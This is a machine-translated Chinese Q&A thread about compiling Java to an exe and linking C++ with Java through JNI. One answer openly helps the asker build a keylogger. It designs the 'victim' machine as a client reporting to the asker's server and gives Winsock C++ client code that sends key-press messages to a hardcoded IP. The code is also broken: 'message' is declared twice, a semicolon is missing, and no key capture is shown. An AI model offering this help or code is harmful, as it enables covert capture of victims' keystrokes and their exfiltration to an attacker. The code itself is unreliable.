我已经阅读了很多文章和帖子,但我仍然对如何将字节码制作/转换为 exe 感到困惑,以便它可以在任何带有 JRE、JVM 或任何其他类型的东西的独立机器上运行。
结合C++和java程序是什么意思?
如果可以将 C++ 和 Java Program 结合起来,该怎么做?
字节码到 exe,以便它可以在任何独立机器上运行:我认为这不能完成。Java 程序集在体系结构上与 x86 程序集不同。也许您可以从 java 源代码转到 .exe。
结合 C++ 和 java 程序是通过 JNI 完成的。您使用特定库编写 c++ dll 以在 java 和 C 数据类型之间进行转换,并从您的 java 代码中调用该 dll。
结合 C++ 和 Java 程序,怎么做: http ://www.ibm.com/developerworks/java/tutorials/j-jni/section2.html
做你想做的最好的方法:用 C++ 做所有事情。您的键盘记录器使用本机系统调用来获取键状态,因此最好用 C/C++ 编写,只需学习 Winsock for C++ 即可发送数据。受害者将成为客户端,而您将成为服务器 http://www.binarytides.com/winsock-socket-programming-tutorial/ 请参阅“发送数据”部分。
这是客户受害者的一些示例代码:
#include<stdio.h>
#include<winsock2.h>
#pragma comment(lib,"ws2_32.lib") //Winsock Library
int main(int argc , char *argv[])
{
WSADATA wsa;
SOCKET s;
struct sockaddr_in server;
char *message;
printf("\nInitialising Winsock...");
if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
{
printf("Failed. Error Code : %d",WSAGetLastError());
return 1;
}
printf("Initialised.\n");
//Create a socket
if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
{
printf("Could not create socket : %d" , WSAGetLastError());
}
printf("Socket created.\n");
server.sin_addr.s_addr = inet_addr("74.125.235.20"); //your ip here
server.sin_family = AF_INET;
server.sin_port = htons( 80 ); //your port here
//Connect to remote server
if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
{
puts("connect error");
return 1;
}
puts("Connected");
//Send some data
char message[128];
while(true){
//Check if a key is pressed
strcpy(message, "Keypressed!");
send(s , message , strlen(message) , 0)
}
closesocket(s);
WSACleanup();
return 0;
}
用java编写服务器程序。
我强烈建议您将事物分开并保持原样。如果您需要一种功能强大且运行速度快的语言,请选择 C/C++ 并让您的应用程序完全使用它。现在,如果您追求可移植性快速开发/部署,请选择 java。
您还可以使用 C# 和许多其他快速开发语言来实现您的目标。
啊,PS:.JAR/.CLASS 文件是可执行的二进制文件,它们只需要安装框架即可正常工作 Java 是托管代码,例如 .NET